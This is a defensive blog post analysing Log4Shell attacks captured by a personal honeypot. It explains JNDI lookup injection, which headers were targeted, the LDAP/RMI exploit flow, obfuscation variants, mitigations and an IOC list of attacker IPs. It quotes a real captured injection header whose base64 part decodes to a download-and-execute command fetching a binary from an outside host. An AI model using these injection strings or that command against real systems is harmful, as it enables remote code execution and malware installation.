Analysis of Log4jShell Attack
23 December 2021
By Jacob Pimental
On December 9th, a vulnerability, dubbed Log4jShell, was found in the Java Logging Library Log4j. The vulnerability allows for remote code execution on Java Applications running a vulnerable version of Log4j. After this vulnerability was announced, I created a basic honeypot to research the attacks. This article will provide a technical overview into how the attack works as well as present findings from data collected from my honeypot.
Anatomy of Attack
The Log4jShell vulnerability uses lookup strings which are specially formatted strings that allow the application to add values to logs without the need for additional Java code. An example of a lookup string is ${java:version}
which logs the version of the current Java instance.
public class Main {
static final Logger log = Logger.getLogger(Main.class);
public static void main(String[] args) {
log.debug("Hello, world!");
log.debug("${java:version}");
}
}
Example log output from the Java Code above
Specifically, this vulnerability utilizes the Java Naming and Directory Interface (JNDI) lookup string to retrieve a remote Java object. Once retrieved, the JDNI will run that code locally.
A common attack injects the string ${jndi:ldap://<attacker_server>/<base_search>}
to load malicious code from an attacker controlled LDAP server. The attacker will insert the string into commonly logged fields in a web request such as: URI, HTTP Headers, and form fields. The data collected from my honeypot shows the most common fields used in the past seven days:
Field | Occurrences |
---|---|
User-Agent | 25.58% |
Authorization | 24.42% |
Cookie | 9.3% |
In URI | 8.14% |
Referer | 4.65% |
Origin | 1.16% |
Host | 1.16% |
X-Originating-Ip | 1.16% |
X-Forwarded-For | 1.16% |
From | 1.16% |
X-Client-Ip | 1.16% |
Expect-Ct | 1.16% |
X-Wap-Profile | 1.16% |
Contact | 1.16% |
Forwarded | 1.16% |
Cf-Connecting-Ip | 1.16% |
Via | 1.16% |
X-Api-Version | 1.16% |
True-Client-Ip | 1.16% |
Client-Ip | 1.16% |
X-Real-Ip | 1.16% |
When the lookup string is parsed, the Java application will make an anonymous LDAP query to the malicious server using the URI as a base object. For example, I observed an attacking IP using the following header in an HTTP request:
X-Api-Version: ${jndi:ldap://81[.]30[.]157[.]43:1389/Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI=}
In the above example, the vulnerable server will make an anonymous LDAP query to 81[.]30[.]157[.]43 on port 1389 with the base object Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI=
and the default query of (objectClass=*)
.
PCAP of search request from vulnerable server
From the data in my honeypot, it was found that the base object used for LDAP queries was a mix of base64 and plaintext strings.
Result from honeypot of base64 encoded base object
Result from honeypot of plaintext base object
The malicious LDAP server will respond with an entry containing four values: javaClassName
, javaCodeBase
, objectClass
, and javaFactory
.
PCAP of search response form malicious LDAP server
JNDI will take the javaCodeBase
and javaFactory
values to load malicious Java code from the attacker at http://<javaCodeBase>/<javaFactory>.class
, or in our example: http://81[.]30[.]157[.]43:8080/Exploity2x2ukz72E.class
.
JNDI loading malicious Java class over HTTP
This specific Java class contains a bash command that is used to download a second stage. This article will not be covering the second stage payload.
Decompiled Java payload
Other Protocols
LDAP is not the only protocol that the JNDI lookup string supports. The other two commonly seen protocols are:
Protocol | Description |
---|---|
rmi | Formatted as jndi:rmi://<host>:<port>/<object> ; This will grab an remote Java object at the host and port RMI server. |
dns | Formatted as jndi:dns://<host>:<port>/<domain> ; Will use the host and port as a DNS server to perform a lookup on the domain in the URI. Currently this was not found to be exploitable like LDAP or RMI. It is mainly used for reconnaissance. |
Mitigations
At the time of writing, Log4j has release version 2.17 which mitigates the RCE vulnerability and DoS vulnerability that were seen in version 2.16. It is recommended to apply this patch as soon as possible which you can download here.
LunaSec also has a detailed mitigation guide on how to find which applications are vulnerable to this exploit as well as other mitigation strategies.
Honeypot Results
Overall, there has been a decline in the number of attacks seen against the honeypot since the vulnerability was first made public. This might be caused by a drop in the number of vulnerability scanners, such as the one from Kryptos Logic.
Timeline of attack attempts against my honeypot
The honeypot was attacked by 14 unique IP addresses over a five day period. The top three IPs were: 46[.]105[.]95[.]220, 45[.]83[.]64[.]52, 195[.]54[.]160[.]149. You can find the entire list of IPs seen in the IOC Section of this article.
Number of attacks from unique IPs
Attackers have found ways to obfuscate the attack by using other Log4j format strings such as: ${lower:J}
and ${::-j}
. Most of the attacks against my honeypot were using some form of obfuscation:
Number of obfuscated attempts against the honeypot
Conclusion
The goal of this article was to provide a brief overview of how the attack works to help readers identify attempts in their environment. If you would like to read more, the official LunaSec report on this vulnerability is a good place to start. If you have any questions or comments about this post, feel free to message me on my Twitter or LinkedIn.
IOCs
IOCs |
---|
109[.]237[.]96[.]124 |
110[.]191[.]217[.]236 |
113[.]98[.]224[.]68 |
121[.]4[.]56[.]143 |
157[.]245[.]108[.]125 |
167[.]172[.]44[.]255 |
167[.]99[.]221[.]249 |
191[.]232[.]38[.]25 |
195[.]54[.]160[.]149 |
212[.]193[.]57[.]225 |
221[.]226[.]159[.]22 |
36[.]72[.]216[.]81 |
45[.]83[.]64[.]52 |
46[.]105[.]95[.]220 |
47[.]241[.]208[.]155 |
61[.]175[.]202[.]154 |
62[.]76[.]41[.]46 |
64[.]227[.]188[.]164 |
Thanks for reading and happy reversing!